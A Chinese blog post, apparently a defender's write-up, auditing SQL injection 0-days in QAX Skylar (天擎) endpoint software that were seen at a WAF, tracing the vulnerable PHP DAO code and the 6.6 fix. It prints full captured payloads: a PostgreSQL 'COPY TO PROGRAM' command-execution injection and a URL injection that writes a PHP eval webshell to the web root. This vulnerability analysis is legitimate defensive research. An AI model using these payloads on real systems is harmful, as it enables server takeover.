在某大型活动中捕获到了天擎(QAX Skylar)的几个0day,跟代码审了下
0x01 第一类
活动期间在WAF
上拦截到一枚注入,数据包如下
POST /api/upload_client_conf.json?mid=马赛克 HTTP/1.1 Host: 马赛克 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 128 Content-Type: application/json
{"summary": {"0": {"nickname": "cpu='1';CopY(sElEct 1)TO pRogRAM 'echo 1 > ..\\www\\res\\style\\test.css';--", "value": "1"}}}
|
短短几行数据包内容,判断出是天擎的某个接口存在注入,打开之前获取到的源码进行追踪
API_URL
注意到POST
请求的URI
是/api/upload_client_conf.json
,源代码里全局搜了下,发现在application/task/cron/NgxMsgConsumeCommand.php
定义了一些json
数据接口
class NgxMsgConsumeCommand extends AbstractConsumerCommand { public $has_gongan_right = false; public $defaultAction = "cron"; const MSG_CHANNEL_TASK_STATUS = "task_status"; const MSG_CHANNEL_CLIENT_REG = "client_reg"; const MSG_CHANNEL_CLIENT_UNINSTALL = "client_uninst"; const MSG_CHANNEL_CLIENT_NEW_CLIENT = "new_client"; const MSG_CHANNEL_CLIENT_MID_RESET = "mid_reset"; const MSG_CHANNEL_EVENT_CLIENT_LOG = "upload_client_log"; const MSG_CHANNEL_CLIENT_CONF = "upload_client_conf"; const MSG_CHANNEL_UPDATE_IMPORT = "update_import_time"; const MSG_CHANNEL_UPGRADE_LOG2REPORT = "upgrade_log2report"; const MSG_CHANNEL_SERVER_UPGRADE = "server_upgrade"; const MSG_CHANNEL_LEAK_DOWNLOAD_STATUS = "update_leak_download_status"; const MSG_CHANNEL_INSERT_LEAK_INFO = "insert_leak_info"; const SH_MDM_SERVICE = "senha_mdm_service"; const MSG_CHANNEL_ALARM_PUSH = "alarm_push"; const CLIENT_LOG_TYPE_LEAK_REPAIR = "leak_repair"; const CLIENT_LOG_TYPE_LEAK_REPAIR_ALL = "leak_repair_all"; const CLIENT_LOG_TYPE_AUDIT = "audit"; const CLIENT_LOG_TYPE_CLIENT_UPGRADE = "update_log"; const CLIENT_LOG_TYPE_CLIENT_EXT_INFO = "client_ext_info"; const CLIENT_LOG_TYPE_REGISTRY = "registry"; const CLIENT_LOG_TYPE_COREMAIL_LINK = "coremail_link"; const CLIENT_LOG_TYPE_AGENT_ST = "st@at"; const CLIENT_LOG_TYPE_AGENT_HM = "hm@at"; const CLIENT_LOG_POLICY_VERSION = "policy_version";
|
在该类中将upload_client_conf
赋值给MSG_CHANNEL_CLIENT_CONF
并在同类中的doConsumeMsg
方法引用
public function doConsumeMsg($mq_msg, $msg) { $msg_channel = $msg["channel"]; $msg_data = $msg["data"]; $msg_mid = isset($msg["mid"]) ? $msg["mid"] : ""; $will_ack_msg = false; switch ($msg_channel) { case NgxMsgConsumeCommand::MSG_CHANNEL_CLIENT_CONF: ObjectFinder::find("ClientLogic")->updateClientConfFromMsg($msg_mid, $msg_data); break; case NgxMsgConsumeCommand::MSG_CHANNEL_SERVER_UPGRADE: ObjectFinder::find("EventLogLogic")->captureServerUpgrade($msg_data); break; case NgxMsgConsumeCommand::MSG_CHANNEL_ALARM_PUSH: ObjectFinder::find("AlarmLogic")->dealAlarmMsg($msg_data); break; default: break; } return $will_ack_msg; }
|
其中使用ObjectFinder::find("ClientLogic")->updateClientConfFromMsg($msg_mid, $msg_data);
动态加载ClientLogic
类中的方法updateClientConfFromMsg
,全局搜下看看,发现不是要找的方法
那么全局搜下MSG_CHANNEL_CLIENT_CONF
看看哪里引用了这个常量,
找到符合打过来的payload
的类AssetNgxMsgConsumer
,对应文件ext/asset/www/source/domain/sub_consumer/AssetNgxMsgConsumer.php
,AssetNgxMsgConsumer
类继承了PluginNgxMsgSubConsumer
抽象类,PluginNgxMsgSubConsumer
类使用了PluginSubConsumer
接口返回消费者类NgxMsgConsumeCommand
class AssetNgxMsgConsumer extends PluginNgxMsgSubConsumer { public function doConsume($mq_msg, $msg) { $msg_channel = $msg["channel"]; $msg_data = $msg["data"]; $mid = isset($msg["mid"]) ? $msg["mid"] : ""; switch ($msg_channel) { case NgxMsgConsumeCommand::MSG_CHANNEL_CLIENT_CONF: foreach ($msg_data as $key => $value) { switch ($key) { case "summary": ObjectFinder::find("SummaryLogic")->updateSummaryForAssetRegister($mid, $value); break; } } } } }
abstract class PluginNgxMsgSubConsumer implements PluginSubConsumer { public function getConsumerClass() { return "NgxMsgConsumeCommand"; } public function consume() { $args = func_get_args(); list($mq_msg, $msg) = $args; return $this->doConsume($mq_msg, $msg); } public abstract function doConsume($mq_msg, $msq); }
interface PluginSubConsumer {
public function getConsumerClass();
public function consume(); }
|
在AssetNgxMsgConsumer
中动态加载SummaryLogic
类,对应文件ext/asset/www/source/logic/SummaryLogic.php
中的方法updateSummaryForAssetRegister
,跟进去看下
class SummaryLogic { private $_minide_cli = NULL; private $_summary_dao = NULL; private $_hardware_dao = NULL; private $_software_dao = NULL; protected $_software_lib_table = "client_software_lib"; const NAC_ASSETS_TO_RDS = "nac_assets_to_rds"; const NAC_ASSETS_TUBE = "work_queue_nac_portal802config"; const ASSET_NOTIFY_IOT = "asset_notify_iot"; const NAC_ASSETS_MAX_COUNT = 10000; const CODE_INVALID_PARAM_FORMAT = 500; public function __construct() { $this->_summary_dao = ObjectFinder::find("SummaryDao"); $this->_hardware_dao = ObjectFinder::find("HardwareDao"); $this->_software_dao = ObjectFinder::find("SoftwareDao"); $this->_network_dao = ObjectFinder::find("NetworkDao"); $this->_minide_cli = new Skyminide\Skylarminide(); $this->_type_map = $this->_summary_dao->getVisibleAssetRegisterTypeColumn(); $this->_type_map = json_decode($this->_type_map["item"], 1); }
public function updateSummaryForAssetRegister($mid, $mes_data) { $summary = array(); foreach ($mes_data as $data) { $summary[$data["nickname"]] = $data["value"]; } $gid = ""; if (isset($summary["group"])) { $gid = $summary["group"]; unset($summary["group"]); } if (isset($summary["device_use"]) && !empty($summary["device_use"])) { $device_uses = $this->_summary_dao->getDeviceUseByName($summary["device_use"]); $device_use_id = NULL; if (empty($device_uses)) { $all_device_uses = $this->_summary_dao->getDeviceUse(); if (!empty($all_device_uses)) { $device_uses["id"] = $all_device_uses[0]["id"]; } Yii::log("upload deleted summray_device_use", CLogger::LEVEL_ERROR, "the client " . $mid . " upload the nonfound device_use, the upload device_use is: " . $summary["device_use"] . " and we use the default device_use " . $all_device_uses[0]["name"]); } $summary["device_use"] = $device_uses["id"]; } $detail = $this->_summary_dao->getSummaryDetail($mid); if (empty($detail["status"]) || (int) $mes_data["upload_type"] == 1) { $this->_summary_dao->updateSummaryForAssetRegister($mid, $summary); } else { Yii::log("mid= " . $mid . " update summary pass", CLogger::LEVEL_INFO, "SummaryLogic"); }
}
|
其中调用了SummaryDao
类中的updateSummaryForAssetRegister
方法,相关代码如下
class SummaryDao extends BaseDao { protected $_client_os = "client_os"; protected $_client_software = "client_software"; protected $_client = "client"; protected $_client_hardware_summary = "client_hardware_summary"; protected $_client_account = "client_account"; protected $_client_ext = "client_ext"; protected $_client_group = "client_group"; protected $_vendor_logo = "vendor_logo"; protected $_tag_info = "tag_info"; protected $_client_hd_mainboard = "client_hardware_mainboard"; protected $_client_device_use = "client_device_use"; protected $_nac_session_record = "nac_session_record"; protected $_nac_user = "nac_user"; protected $_offline_time = Constants::OFFLINE_TIME_SECONDS; public function updateSummaryForAssetRegister($mid, array $summary) { $bind_vals = array(":mid" => $mid); $sql_set = " "; foreach ($summary as $key => $value) { if (!empty($value)) { $bind_vals[":" . $key] = $value; $sql_set = $sql_set . $key . " = :" . $key . ", "; } } $sql_set = $sql_set . " is_default = 0 "; $sql = sprintf("insert into %s (mid) select :mid where not exists (select 1 from %s where mid = :mid) limit 1;UPDATE %s SET " . $sql_set . "\r\n\t\t WHERE mid = :mid", $this->_client_hardware_summary, $this->_client_hardware_summary, $this->_client_hardware_summary); $this->exeNoQuery($sql, $bind_vals); }
|
可以看出参数$sql_set
没有经过任何处理直接带入UPDATE
语句执行导致SQL注入,天擎使用的PostgreSQL
数据库,PG
数据库支持文件读写操作,相关函数COPY...TO...
操作
其他多处
根据第一处的关键字$sql_set
,全局查找了下,发现多处
ext/report/www/source/dao/DataPortalSummaryDao.php
中的updateSummaryDetail
方法
updateSummaryForAssetRegister
方法
ext/asset/www/source/dao/SummaryDao.php
中的updateSummaryDetail
方法
updateSummaryForAssetRegister
方法
updateSummaryDetailByNacUser
方法
第二类
第二类payload
https://192.168.24.196:8443/api/dp/rptsvcsyncpoint?ccid=1';create table O(TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to 'C:\Program Files (x86)\360\skylar6\www\1.php';drop table O;--
|
第二类是标准接口,在data/adminlog_path_dict.json
json文件中存有相关接口名称和URI
,其中就有该payload
的URI
天擎使用的Yii V1
进行的开发,根据Yii
官方手册,找到了路由对应的控制器DpController.php
中的actionRptsvcSyncPoint
方法
Windows路径application/api/controllers/DpController.php
Linux路径ext/cascade/www/application/api/controllers/DpController.php
public function actionRptsvcSyncPoint() { $result = Constants::$WEB_SUCCESS_RT; try { $cc_id = $this->getParam("ccid"); BizResult::ensureNotFalse(Guid::Valid($cc_id), Constants::WEB_ERROR_PARAM); $dp_dao = ObjectFinder::find("DataPortalDao"); $antiadwa = $dp_dao->getSyncPoint("antiadwa", $cc_id); $this->renderJson($result); }
|
actionRptsvcSyncPoint
方法获取了传入的cc_id
并赋值给$cc_id
,然后调用了$dp_dao = ObjectFinder::find("DataPortalDao");
动态实例化了DataPortalDao
类并调用了getSyncPoint
方法,getSyncPoint
方法原型(6.3版本)
public function getSyncPoint($biz = NULL, $ccid = NULL) { $rows = NULL; try { $sql = sprintf("SELECT syncpoint AS count FROM rptsvc_syncpoint WHERE biz = '%s' AND ccid = '%s';", $biz, $ccid); $rows = $this->queryRow($sql); } catch (Exception $e) { $rows["count"] = 0; } if (is_null($rows["count"])) { $rows["count"] = 0; } return $rows; }
|
而在6.6版本中,进行了参数绑定
public function getSyncPoint($biz = NULL, $ccid = NULL) { $rows = NULL; try { $sql = "SELECT syncpoint AS count FROM rptsvc_syncpoint WHERE biz = :biz AND ccid = :ccid;"; $rows = $this->queryRow($sql, array(":biz" => $biz, ":ccid" => $ccid)); } catch (Exception $e) { $rows["count"] = 0; } if (is_null($rows["count"])) { $rows["count"] = 0; } return $rows; }
|
6.3版本直接将ccid
带入查询,导致了注入